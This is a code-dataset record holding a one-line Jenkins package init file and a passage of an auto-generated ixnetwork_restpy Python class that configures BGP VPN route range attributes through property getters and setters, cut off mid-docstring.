0
0
0
6
33e7cb46030943af0b730f17790d677a3319d253
59
py
Python
jenkins_control/__init__.py
marhag87/jenkins_control
796931a05b0c60130f7d8ad21177dbc09291eb2b
[ "WTFPL" ]
null
null
null
jenkins_control/__init__.py
marhag87/jenkins_control
796931a05b0c60130f7d8ad21177dbc09291eb2b
[ "WTFPL" ]
null
null
null
jenkins_control/__init__.py
marhag87/jenkins_control
796931a05b0c60130f7d8ad21177dbc09291eb2b
[ "WTFPL" ]
null
null
null
from jenkins_control.jenkins_control import JenkinsControl
29.5
58
0.915254
7
59
7.428571
0.714286
0.538462
0
0
0
0
0
0
0
0
0
0
0.067797
59
1
59
59
0.945455
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
d51424485e221ace593baedc5e7d16d9288a732e
59,539
py
Python
ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/protocols/vpnrouterange_6deb488e2675cac9fb82f78c1169db40.py
Vibaswan/ixnetwork_restpy
239fedc7050890746cbabd71ea1e91c68d9e5cad
[ "MIT" ]
null
null
null
ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/protocols/vpnrouterange_6deb488e2675cac9fb82f78c1169db40.py
Vibaswan/ixnetwork_restpy
239fedc7050890746cbabd71ea1e91c68d9e5cad
[ "MIT" ]
null
null
null
ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/protocols/vpnrouterange_6deb488e2675cac9fb82f78c1169db40.py
Vibaswan/ixnetwork_restpy
239fedc7050890746cbabd71ea1e91c68d9e5cad
[ "MIT" ]
null
null
null
# MIT LICENSE # # Copyright 1997 - 2020 by IXIA Keysight # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from ixnetwork_restpy.base import Base from ixnetwork_restpy.files import Files class VpnRouteRange(Base): """This object represents a route range present at a VPN site. The VpnRouteRange class encapsulates a list of vpnRouteRange resources that are managed by the user. A list of resources can be retrieved from the server using the VpnRouteRange.find() method. The list can be managed by using the VpnRouteRange.add() and VpnRouteRange.remove() methods. """ __slots__ = () _SDM_NAME = 'vpnRouteRange' _SDM_ATT_MAP = { 'AdvertiseNextHopAsV4': 'advertiseNextHopAsV4', 'AggregatorAsNum': 'aggregatorAsNum', 'AggregatorIpAddress': 'aggregatorIpAddress', 'Delay': 'delay', 'DistinguisherAsNumber': 'distinguisherAsNumber', 'DistinguisherAsNumberStep': 'distinguisherAsNumberStep', 'DistinguisherAsNumberStepAcrossVrfs': 'distinguisherAsNumberStepAcrossVrfs', 'DistinguisherAssignedNumber': 'distinguisherAssignedNumber', 'DistinguisherAssignedNumberStep': 'distinguisherAssignedNumberStep', 'DistinguisherAssignedNumberStepAcrossVrfs': 'distinguisherAssignedNumberStepAcrossVrfs', 'DistinguisherCount': 'distinguisherCount', 'DistinguisherCountPerVrf': 'distinguisherCountPerVrf', 'DistinguisherIpAddress': 'distinguisherIpAddress', 'DistinguisherIpAddressStep': 'distinguisherIpAddressStep', 'DistinguisherIpAddressStepAcrossVrfs': 'distinguisherIpAddressStepAcrossVrfs', 'DistinguisherMode': 'distinguisherMode', 'DistinguisherStep': 'distinguisherStep', 'DistinguisherType': 'distinguisherType', 'EnableAggregator': 'enableAggregator', 'EnableAggregatorIdIncrementMode': 'enableAggregatorIdIncrementMode', 'EnableAsPath': 'enableAsPath', 'EnableAtomicAttribute': 'enableAtomicAttribute', 'EnableCluster': 'enableCluster', 'EnableCommunity': 'enableCommunity', 'EnableGenerateUniqueRoutes': 'enableGenerateUniqueRoutes', 'EnableIncludeLoopback': 'enableIncludeLoopback', 'EnableIncludeMulticast': 'enableIncludeMulticast', 'EnableLocalPref': 'enableLocalPref', 'EnableMed': 'enableMed', 'EnableNextHop': 'enableNextHop', 'EnableOrigin': 'enableOrigin', 'EnableOriginatorId': 'enableOriginatorId', 'EnableTraditionalNlriUpdate': 'enableTraditionalNlriUpdate', 'Enabled': 'enabled', 'EndOfRib': 'endOfRib', 'FromPacking': 'fromPacking', 'FromPrefix': 'fromPrefix', 'IncludeSourceAsExtendedCommunityPresent': 'includeSourceAsExtendedCommunityPresent', 'IncludeVrfRouteImportExtendedCommunityPresent': 'includeVrfRouteImportExtendedCommunityPresent', 'IpType': 'ipType', 'IterationStep': 'iterationStep', 'LocalPref': 'localPref', 'Med': 'med', 'NetworkAddress': 'networkAddress', 'NextHopIpAddress': 'nextHopIpAddress', 'NextHopMode': 'nextHopMode', 'NextHopSetMode': 'nextHopSetMode', 'NumRoutes': 'numRoutes', 'OriginProtocol': 'originProtocol', 'OriginatorId': 'originatorId', 'RouteStepAcrossVRFs': 'routeStepAcrossVRFs', 'ThruPacking': 'thruPacking', 'ThruPrefix': 'thruPrefix', } def __init__(self, parent): super(VpnRouteRange, self).__init__(parent) @property def AsSegment(self): """ Returns ------- - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.assegment_77023b63251dc6667bdf6c21a3e43b82.AsSegment): An instance of the AsSegment class Raises ------ - ServerError: The server has encountered an uncategorized error condition """ from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.assegment_77023b63251dc6667bdf6c21a3e43b82 import AsSegment if self._properties.get('AsSegment', None) is None: return AsSegment(self)._select() else: return self._properties.get('AsSegment') @property def Cluster(self): """ Returns ------- - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.cluster_d68b61bb2cd5e48de06e56c1bb4b9cfb.Cluster): An instance of the Cluster class Raises ------ - ServerError: The server has encountered an uncategorized error condition """ from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.cluster_d68b61bb2cd5e48de06e56c1bb4b9cfb import Cluster if self._properties.get('Cluster', None) is None: return Cluster(self)._select() else: return self._properties.get('Cluster') @property def Community(self): """ Returns ------- - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.community_46f6c2c27e8a80b9e728ca3a28276bc2.Community): An instance of the Community class Raises ------ - ServerError: The server has encountered an uncategorized error condition """ from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.community_46f6c2c27e8a80b9e728ca3a28276bc2 import Community if self._properties.get('Community', None) is None: return Community(self)._select() else: return self._properties.get('Community') @property def ExtendedCommunity(self): """ Returns ------- - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.extendedcommunity_9dbd9a94c067c10769a25642ca9a2116.ExtendedCommunity): An instance of the ExtendedCommunity class Raises ------ - ServerError: The server has encountered an uncategorized error condition """ from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.extendedcommunity_9dbd9a94c067c10769a25642ca9a2116 import ExtendedCommunity if self._properties.get('ExtendedCommunity', None) is None: return ExtendedCommunity(self)._select() else: return self._properties.get('ExtendedCommunity') @property def Flapping(self): """ Returns ------- - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.flapping_14ce629a4dbc4bd9b20c8fe1dc2a1e04.Flapping): An instance of the Flapping class Raises ------ - ServerError: The server has encountered an uncategorized error condition """ from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.flapping_14ce629a4dbc4bd9b20c8fe1dc2a1e04 import Flapping if self._properties.get('Flapping', None) is None: return Flapping(self)._select() else: return self._properties.get('Flapping') @property def LabelSpace(self): """ Returns ------- - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.labelspace_6d08c054aa4a79300972f72fa46e7edd.LabelSpace): An instance of the LabelSpace class Raises ------ - ServerError: The server has encountered an uncategorized error condition """ from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.labelspace_6d08c054aa4a79300972f72fa46e7edd import LabelSpace if self._properties.get('LabelSpace', None) is None: return LabelSpace(self)._select() else: return self._properties.get('LabelSpace') @property def AdvertiseNextHopAsV4(self): """ Returns ------- - bool: NOT DEFINED """ return self._get_attribute(self._SDM_ATT_MAP['AdvertiseNextHopAsV4']) @AdvertiseNextHopAsV4.setter def AdvertiseNextHopAsV4(self, value): self._set_attribute(self._SDM_ATT_MAP['AdvertiseNextHopAsV4'], value) @property def AggregatorAsNum(self): """ Returns ------- - number: The AS associated with the aggregator router ID in the AGGREGATOR attribute. (default = 0) """ return self._get_attribute(self._SDM_ATT_MAP['AggregatorAsNum']) @AggregatorAsNum.setter def AggregatorAsNum(self, value): self._set_attribute(self._SDM_ATT_MAP['AggregatorAsNum'], value) @property def AggregatorIpAddress(self): """ Returns ------- - str: The IP address of the router that aggregated two or more routes in the AGGREGATOR attribute. (default = 0.0.0.0) """ return self._get_attribute(self._SDM_ATT_MAP['AggregatorIpAddress']) @AggregatorIpAddress.setter def AggregatorIpAddress(self, value): self._set_attribute(self._SDM_ATT_MAP['AggregatorIpAddress'], value) @property def Delay(self): """ Returns ------- - number: """ return self._get_attribute(self._SDM_ATT_MAP['Delay']) @Delay.setter def Delay(self, value): self._set_attribute(self._SDM_ATT_MAP['Delay'], value) @property def DistinguisherAsNumber(self): """ Returns ------- - number: If distinguisherType is set to bgp4DistinguisherTypeAS, this is the 2-byte AS number in the administrator sub-field of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0) """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAsNumber']) @DistinguisherAsNumber.setter def DistinguisherAsNumber(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherAsNumber'], value) @property def DistinguisherAsNumberStep(self): """ Returns ------- - number: The increment step for for the distinguisher AS number. """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAsNumberStep']) @DistinguisherAsNumberStep.setter def DistinguisherAsNumberStep(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherAsNumberStep'], value) @property def DistinguisherAsNumberStepAcrossVrfs(self): """ Returns ------- - number: The increment step for per VRF distinguisher AS number within the VRF Range. """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAsNumberStepAcrossVrfs']) @DistinguisherAsNumberStepAcrossVrfs.setter def DistinguisherAsNumberStepAcrossVrfs(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherAsNumberStepAcrossVrfs'], value) @property def DistinguisherAssignedNumber(self): """ Returns ------- - number: The assigned number of the VPN route distinguisher. It is a number from a numbering space which is maintained by the enterprise administers for a given IP address or ASN space. It is the local part of the route distinguisher. (default = 0) """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumber']) @DistinguisherAssignedNumber.setter def DistinguisherAssignedNumber(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumber'], value) @property def DistinguisherAssignedNumberStep(self): """ Returns ------- - number: The increment step for for the distinguisher assigned number. """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumberStep']) @DistinguisherAssignedNumberStep.setter def DistinguisherAssignedNumberStep(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumberStep'], value) @property def DistinguisherAssignedNumberStepAcrossVrfs(self): """ Returns ------- - number: The increment step for per VRF distinguisher assigned number within the VRF Range. """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumberStepAcrossVrfs']) @DistinguisherAssignedNumberStepAcrossVrfs.setter def DistinguisherAssignedNumberStepAcrossVrfs(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumberStepAcrossVrfs'], value) @property def DistinguisherCount(self): """ Returns ------- - number: The number of times that the increment step will be used. (default = 1) """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherCount']) @DistinguisherCount.setter def DistinguisherCount(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherCount'], value) @property def DistinguisherCountPerVrf(self): """ Returns ------- - number: The number of times that the increment step is used per VRF. """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherCountPerVrf']) @DistinguisherCountPerVrf.setter def DistinguisherCountPerVrf(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherCountPerVrf'], value) @property def DistinguisherIpAddress(self): """ Returns ------- - str: If distinguisherType is set to bgp4DistinguisherTypeIP, this is the 4-byte IP address in the administrator subfield of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0.0.0.0) """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherIpAddress']) @DistinguisherIpAddress.setter def DistinguisherIpAddress(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherIpAddress'], value) @property def DistinguisherIpAddressStep(self): """ Returns ------- - str: The increment step for for the distinguisher IP address. """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherIpAddressStep']) @DistinguisherIpAddressStep.setter def DistinguisherIpAddressStep(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherIpAddressStep'], value) @property def DistinguisherIpAddressStepAcrossVrfs(self): """ Returns ------- - str: The increment step for per VRF distinguisher IP address within the VRF Range. """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherIpAddressStepAcrossVrfs']) @DistinguisherIpAddressStepAcrossVrfs.setter def DistinguisherIpAddressStepAcrossVrfs(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherIpAddressStepAcrossVrfs'], value) @property def DistinguisherMode(self): """ Returns ------- - str(global | local): Specifies which part of the route distinguisher you want to increment. """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherMode']) @DistinguisherMode.setter def DistinguisherMode(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherMode'], value) @property def DistinguisherStep(self): """ Returns ------- - number: The size of the increment step to be used with the part of the route distinguisher which will be incremented. (default = 1) """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherStep']) @DistinguisherStep.setter def DistinguisherStep(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherStep'], value) @property def DistinguisherType(self): """ Returns ------- - str(as | ip | asNumber2): Indicates the type of administrator field used in route distinguisher that will be included in the route announcements. """ return self._get_attribute(self._SDM_ATT_MAP['DistinguisherType']) @DistinguisherType.setter def DistinguisherType(self, value): self._set_attribute(self._SDM_ATT_MAP['DistinguisherType'], value) @property def EnableAggregator(self): """ Returns ------- - bool: Generates an AGGREGATOR attribute using the aggregatorIpAddress, aggregatorASNum, and aggregatorIDMode. (default = false) """ return self._get_attribute(self._SDM_ATT_MAP['EnableAggregator']) @EnableAggregator.setter def EnableAggregator(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableAggregator'], value) @property def EnableAggregatorIdIncrementMode(self): """ Returns ------- - bool: If true, increments the Aggregator ID by interationStep. """ return self._get_attribute(self._SDM_ATT_MAP['EnableAggregatorIdIncrementMode']) @EnableAggregatorIdIncrementMode.setter def EnableAggregatorIdIncrementMode(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableAggregatorIdIncrementMode'], value) @property def EnableAsPath(self): """ Returns ------- - bool: Enables the generation of AS Path related items. """ return self._get_attribute(self._SDM_ATT_MAP['EnableAsPath']) @EnableAsPath.setter def EnableAsPath(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableAsPath'], value) @property def EnableAtomicAttribute(self): """ Returns ------- - bool: Sets the attribute bit that indicates that the router has aggregated two or more prefixes in the AGGREGATOR attribute. (default = false) """ return self._get_attribute(self._SDM_ATT_MAP['EnableAtomicAttribute']) @EnableAtomicAttribute.setter def EnableAtomicAttribute(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableAtomicAttribute'], value) @property def EnableCluster(self): """ Returns ------- - bool: Enables the generation of the CLUSTER attribute list based on information in clusterList. (default = false) """ return self._get_attribute(self._SDM_ATT_MAP['EnableCluster']) @EnableCluster.setter def EnableCluster(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableCluster'], value) @property def EnableCommunity(self): """ Returns ------- - bool: Enables the generation of a COMMUNITY attribute list. (default = false) """ return self._get_attribute(self._SDM_ATT_MAP['EnableCommunity']) @EnableCommunity.setter def EnableCommunity(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableCommunity'], value) @property def EnableGenerateUniqueRoutes(self): """ Returns ------- - bool: When set to 1, each router generates a different IP address range. When not enabled, each router will advertise the route range as is. """ return self._get_attribute(self._SDM_ATT_MAP['EnableGenerateUniqueRoutes']) @EnableGenerateUniqueRoutes.setter def EnableGenerateUniqueRoutes(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableGenerateUniqueRoutes'], value) @property def EnableIncludeLoopback(self): """ Returns ------- - bool: """ return self._get_attribute(self._SDM_ATT_MAP['EnableIncludeLoopback']) @EnableIncludeLoopback.setter def EnableIncludeLoopback(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableIncludeLoopback'], value) @property def EnableIncludeMulticast(self): """ Returns ------- - bool: """ return self._get_attribute(self._SDM_ATT_MAP['EnableIncludeMulticast']) @EnableIncludeMulticast.setter def EnableIncludeMulticast(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableIncludeMulticast'], value) @property def EnableLocalPref(self): """ Returns ------- - bool: Enables the generation of a LOCAL PREF attribute based on the information in localPref. This value should be set to true only for EBGP. (default = false) """ return self._get_attribute(self._SDM_ATT_MAP['EnableLocalPref']) @EnableLocalPref.setter def EnableLocalPref(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableLocalPref'], value) @property def EnableMed(self): """ Returns ------- - bool: Enables the generation of a MULTI EXIT DISCRIMINATOR attribute. (default = false) """ return self._get_attribute(self._SDM_ATT_MAP['EnableMed']) @EnableMed.setter def EnableMed(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableMed'], value) @property def EnableNextHop(self): """ Returns ------- - bool: Enables the generation of a NEXT HOP attribute. (default = true) """ return self._get_attribute(self._SDM_ATT_MAP['EnableNextHop']) @EnableNextHop.setter def EnableNextHop(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableNextHop'], value) @property def EnableOrigin(self): """ Returns ------- - bool: Enables the generation of an ORIGIN attribute. (default = true) """ return self._get_attribute(self._SDM_ATT_MAP['EnableOrigin']) @EnableOrigin.setter def EnableOrigin(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableOrigin'], value) @property def EnableOriginatorId(self): """ Returns ------- - bool: Enables the generation of an ORIGINATOR-ID attribute, based on information in originatorId. (default = false) """ return self._get_attribute(self._SDM_ATT_MAP['EnableOriginatorId']) @EnableOriginatorId.setter def EnableOriginatorId(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableOriginatorId'], value) @property def EnableTraditionalNlriUpdate(self): """ Returns ------- - bool: If enabled, use the traditional NLRI in the UPDATE message, instead of using the MP_REACH_NLRI Multi-protocol extension to advertise the routes. (Not applicable for MPLS and MPLS VPN Route Ranges.) """ return self._get_attribute(self._SDM_ATT_MAP['EnableTraditionalNlriUpdate']) @EnableTraditionalNlriUpdate.setter def EnableTraditionalNlriUpdate(self, value): self._set_attribute(self._SDM_ATT_MAP['EnableTraditionalNlriUpdate'], value) @property def Enabled(self): """ Returns ------- - bool: Enables the VPN route range. """ return self._get_attribute(self._SDM_ATT_MAP['Enabled']) @Enabled.setter def Enabled(self, value): self._set_attribute(self._SDM_ATT_MAP['Enabled'], value) @property def EndOfRib(self): """ Returns ------- - bool: If true, enables end of rib """ return self._get_attribute(self._SDM_ATT_MAP['EndOfRib']) @EndOfRib.setter def EndOfRib(self, value): self._set_attribute(self._SDM_ATT_MAP['EndOfRib'], value) @property def FromPacking(self): """ Returns ------- - number: The minimum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. (default = 0) """ return self._get_attribute(self._SDM_ATT_MAP['FromPacking']) @FromPacking.setter def FromPacking(self, value): self._set_attribute(self._SDM_ATT_MAP['FromPacking'], value) @property def FromPrefix(self): """ Returns ------- - number: The first prefix length to generate based on the networkAddress and numRanges. (default = 24) """ return self._get_attribute(self._SDM_ATT_MAP['FromPrefix']) @FromPrefix.setter def FromPrefix(self, value): self._set_attribute(self._SDM_ATT_MAP['FromPrefix'], value) @property def IncludeSourceAsExtendedCommunityPresent(self): """ Returns ------- - bool: If for a given MVPN BGP is used for exchanging C-multicast routes, or if segmented """ return self._get_attribute(self._SDM_ATT_MAP['IncludeSourceAsExtendedCommunityPresent']) @IncludeSourceAsExtendedCommunityPresent.setter def IncludeSourceAsExtendedCommunityPresent(self, value): self._set_attribute(self._SDM_ATT_MAP['IncludeSourceAsExtendedCommunityPresent'], value) @property def IncludeVrfRouteImportExtendedCommunityPresent(self): """ Returns ------- - bool: Defines the route target extended community. """ return self._get_attribute(self._SDM_ATT_MAP['IncludeVrfRouteImportExtendedCommunityPresent']) @IncludeVrfRouteImportExtendedCommunityPresent.setter def IncludeVrfRouteImportExtendedCommunityPresent(self, value): self._set_attribute(self._SDM_ATT_MAP['IncludeVrfRouteImportExtendedCommunityPresent'], value) @property def IpType(self): """ Returns ------- - str(ipAny | ipv4 | ipv6): The type of IP address in nextworkAddress. """ return self._get_attribute(self._SDM_ATT_MAP['IpType']) @IpType.setter def IpType(self, value): self._set_attribute(self._SDM_ATT_MAP['IpType'], value) @property def IterationStep(self): """ Returns ------- - number: During prefix generation, the increment between prefixes. (default = 1) """ return self._get_attribute(self._SDM_ATT_MAP['IterationStep']) @IterationStep.setter def IterationStep(self, value): self._set_attribute(self._SDM_ATT_MAP['IterationStep'], value) @property def LocalPref(self): """ Returns ------- - number: The local preference value for the routes with the LOCAL PREF attribute. (default = 0) """ return self._get_attribute(self._SDM_ATT_MAP['LocalPref']) @LocalPref.setter def LocalPref(self, value): self._set_attribute(self._SDM_ATT_MAP['LocalPref'], value) @property def Med(self): """ Returns ------- - number: The multi-exit discriminator value in the MULTI EXIT DISCRIMINATOR attribute. (default = 0) """ return self._get_attribute(self._SDM_ATT_MAP['Med']) @Med.setter def Med(self, value): self._set_attribute(self._SDM_ATT_MAP['Med'], value) @property def NetworkAddress(self): """ Returns ------- - str: The network address used for the generated prefixes. (default = 0.0.0.0) """ return self._get_attribute(self._SDM_ATT_MAP['NetworkAddress']) @NetworkAddress.setter def NetworkAddress(self, value): self._set_attribute(self._SDM_ATT_MAP['NetworkAddress'], value) @property def NextHopIpAddress(self): """ Returns ------- - str: The IP address, in either IPv4 or IPv6 format of the next hop associated with the NEXT HOP attribute. (default = 0.0.0.0) """ return self._get_attribute(self._SDM_ATT_MAP['NextHopIpAddress']) @NextHopIpAddress.setter def NextHopIpAddress(self, value): self._set_attribute(self._SDM_ATT_MAP['NextHopIpAddress'], value) @property def NextHopMode(self): """ Returns ------- - str(fixed | nextHopIncrement | incrementPerPrefix): Indicates that the nextHopIpAddress may be incremented for each neighbor session generated for the range of neighbor addresses. """ return self._get_attribute(self._SDM_ATT_MAP['NextHopMode']) @NextHopMode.setter def NextHopMode(self, value): self._set_attribute(self._SDM_ATT_MAP['NextHopMode'], value) @property def NextHopSetMode(self): """ Returns ------- - str(setManually | sameAsLocalIp): Indicates now to set the next hop IP address. """ return self._get_attribute(self._SDM_ATT_MAP['NextHopSetMode']) @NextHopSetMode.setter def NextHopSetMode(self, value): self._set_attribute(self._SDM_ATT_MAP['NextHopSetMode'], value) @property def NumRoutes(self): """ Returns ------- - number: The number of prefixes (routes) to generate for this routeItem. (default = 1) """ return self._get_attribute(self._SDM_ATT_MAP['NumRoutes']) @NumRoutes.setter def NumRoutes(self, value): self._set_attribute(self._SDM_ATT_MAP['NumRoutes'], value) @property def OriginProtocol(self): """ Returns ------- - str(igp | egp | incomplete): An indication of where the route entry originated. """ return self._get_attribute(self._SDM_ATT_MAP['OriginProtocol']) @OriginProtocol.setter def OriginProtocol(self, value): self._set_attribute(self._SDM_ATT_MAP['OriginProtocol'], value) @property def OriginatorId(self): """ Returns ------- - str: The router that originated a particular route; associated with the ORIGINATOR-ID attribute. (default = 0.0.0.0) """ return self._get_attribute(self._SDM_ATT_MAP['OriginatorId']) @OriginatorId.setter def OriginatorId(self, value): self._set_attribute(self._SDM_ATT_MAP['OriginatorId'], value) @property def RouteStepAcrossVRFs(self): """ Returns ------- - str: The route increment value across VRFs. """ return self._get_attribute(self._SDM_ATT_MAP['RouteStepAcrossVRFs']) @RouteStepAcrossVRFs.setter def RouteStepAcrossVRFs(self, value): self._set_attribute(self._SDM_ATT_MAP['RouteStepAcrossVRFs'], value) @property def ThruPacking(self): """ Returns ------- - number: The maximum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. See the discussion under fromPacking above. (default = 0) """ return self._get_attribute(self._SDM_ATT_MAP['ThruPacking']) @ThruPacking.setter def ThruPacking(self, value): self._set_attribute(self._SDM_ATT_MAP['ThruPacking'], value) @property def ThruPrefix(self): """ Returns ------- - number: The last prefix length to generate based on the networkAddress and numRanges. (default = 24) """ return self._get_attribute(self._SDM_ATT_MAP['ThruPrefix']) @ThruPrefix.setter def ThruPrefix(self, value): self._set_attribute(self._SDM_ATT_MAP['ThruPrefix'], value) def update(self, AdvertiseNextHopAsV4=None, AggregatorAsNum=None, AggregatorIpAddress=None, Delay=None, DistinguisherAsNumber=None, DistinguisherAsNumberStep=None, DistinguisherAsNumberStepAcrossVrfs=None, DistinguisherAssignedNumber=None, DistinguisherAssignedNumberStep=None, DistinguisherAssignedNumberStepAcrossVrfs=None, DistinguisherCount=None, DistinguisherCountPerVrf=None, DistinguisherIpAddress=None, DistinguisherIpAddressStep=None, DistinguisherIpAddressStepAcrossVrfs=None, DistinguisherMode=None, DistinguisherStep=None, DistinguisherType=None, EnableAggregator=None, EnableAggregatorIdIncrementMode=None, EnableAsPath=None, EnableAtomicAttribute=None, EnableCluster=None, EnableCommunity=None, EnableGenerateUniqueRoutes=None, EnableIncludeLoopback=None, EnableIncludeMulticast=None, EnableLocalPref=None, EnableMed=None, EnableNextHop=None, EnableOrigin=None, EnableOriginatorId=None, EnableTraditionalNlriUpdate=None, Enabled=None, EndOfRib=None, FromPacking=None, FromPrefix=None, IncludeSourceAsExtendedCommunityPresent=None, IncludeVrfRouteImportExtendedCommunityPresent=None, IpType=None, IterationStep=None, LocalPref=None, Med=None, NetworkAddress=None, NextHopIpAddress=None, NextHopMode=None, NextHopSetMode=None, NumRoutes=None, OriginProtocol=None, OriginatorId=None, RouteStepAcrossVRFs=None, ThruPacking=None, ThruPrefix=None): """Updates vpnRouteRange resource on the server. Args ---- - AdvertiseNextHopAsV4 (bool): NOT DEFINED - AggregatorAsNum (number): The AS associated with the aggregator router ID in the AGGREGATOR attribute. (default = 0) - AggregatorIpAddress (str): The IP address of the router that aggregated two or more routes in the AGGREGATOR attribute. (default = 0.0.0.0) - Delay (number): - DistinguisherAsNumber (number): If distinguisherType is set to bgp4DistinguisherTypeAS, this is the 2-byte AS number in the administrator sub-field of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0) - DistinguisherAsNumberStep (number): The increment step for for the distinguisher AS number. - DistinguisherAsNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher AS number within the VRF Range. - DistinguisherAssignedNumber (number): The assigned number of the VPN route distinguisher. It is a number from a numbering space which is maintained by the enterprise administers for a given IP address or ASN space. It is the local part of the route distinguisher. (default = 0) - DistinguisherAssignedNumberStep (number): The increment step for for the distinguisher assigned number. - DistinguisherAssignedNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher assigned number within the VRF Range. - DistinguisherCount (number): The number of times that the increment step will be used. (default = 1) - DistinguisherCountPerVrf (number): The number of times that the increment step is used per VRF. - DistinguisherIpAddress (str): If distinguisherType is set to bgp4DistinguisherTypeIP, this is the 4-byte IP address in the administrator subfield of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0.0.0.0) - DistinguisherIpAddressStep (str): The increment step for for the distinguisher IP address. - DistinguisherIpAddressStepAcrossVrfs (str): The increment step for per VRF distinguisher IP address within the VRF Range. - DistinguisherMode (str(global | local)): Specifies which part of the route distinguisher you want to increment. - DistinguisherStep (number): The size of the increment step to be used with the part of the route distinguisher which will be incremented. (default = 1) - DistinguisherType (str(as | ip | asNumber2)): Indicates the type of administrator field used in route distinguisher that will be included in the route announcements. - EnableAggregator (bool): Generates an AGGREGATOR attribute using the aggregatorIpAddress, aggregatorASNum, and aggregatorIDMode. (default = false) - EnableAggregatorIdIncrementMode (bool): If true, increments the Aggregator ID by interationStep. - EnableAsPath (bool): Enables the generation of AS Path related items. - EnableAtomicAttribute (bool): Sets the attribute bit that indicates that the router has aggregated two or more prefixes in the AGGREGATOR attribute. (default = false) - EnableCluster (bool): Enables the generation of the CLUSTER attribute list based on information in clusterList. (default = false) - EnableCommunity (bool): Enables the generation of a COMMUNITY attribute list. (default = false) - EnableGenerateUniqueRoutes (bool): When set to 1, each router generates a different IP address range. When not enabled, each router will advertise the route range as is. - EnableIncludeLoopback (bool): - EnableIncludeMulticast (bool): - EnableLocalPref (bool): Enables the generation of a LOCAL PREF attribute based on the information in localPref. This value should be set to true only for EBGP. (default = false) - EnableMed (bool): Enables the generation of a MULTI EXIT 